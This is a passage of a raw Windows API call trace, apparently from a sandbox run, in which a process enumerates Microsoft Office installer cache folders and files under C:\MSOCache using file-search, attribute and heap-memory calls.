0xed4a78 [0042.678] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4b80 [0042.678] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c78 [0042.689] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.689] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0042.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.689] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.690] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0042.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0042.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4c88 [0042.691] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0042.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6940 [0042.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeda518 [0042.858] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.012] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="")) returned 1 [0043.012] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.013] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.014] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6960 [0043.015] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeda620 [0043.016] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.016] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="")) returned 1 [0043.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.016] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.016] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed6980 [0043.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeda728 [0043.016] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.016] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0043.016] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.017] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.017] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed69a0 [0043.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeda830 [0043.017] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.017] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0043.017] GetLastError () returned 0x12 [0043.017] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459b78 [0043.017] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0043.017] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.017] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0043.017] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="")) returned 1 [0043.017] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="")) returned 1 [0043.017] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0043.017] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0043.017] GetLastError () returned 0x12 [0043.017] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4b80) returned 1 [0043.017] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0043.021] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4c88) returned 1 [0043.021] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0043.022] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0043.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.023] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0043.027] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0043.029] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0043.030] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedb690 [0043.030] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedb690, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xedb690, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0043.031] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedb690) returned 1 [0043.032] NtClose (Handle=0x16c) returned 0x0 [0043.033] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0043.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0043.035] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4c88 [0043.036] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459b78 [0043.038] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.039] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0043.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.040] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.041] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4b80 [0043.044] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0043.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed69c0 [0043.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeda938 [0043.046] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.047] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0043.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.048] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.049] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb6a8 [0043.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedaa40 [0043.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x180) returned 0xed5c70 [0043.054] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5990) returned 1 [0043.055] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.055] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0043.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.057] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.058] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb6c8 [0043.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedab48 [0043.063] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.064] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0043.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.065] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.067] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb6e8 [0043.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedac50 [0043.070] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0043.071] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0043.072] GetLastError () returned 0x12 [0043.073] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c78 [0043.106] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0043.108] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.110] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0043.111] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0043.111] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0043.112] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0043.113] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0043.114] GetLastError () returned 0x12 [0043.116] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4c88) returned 1 [0043.119] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0043.125] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4b80) returned 1 [0043.125] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0043.125] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0043.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0043.439] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, 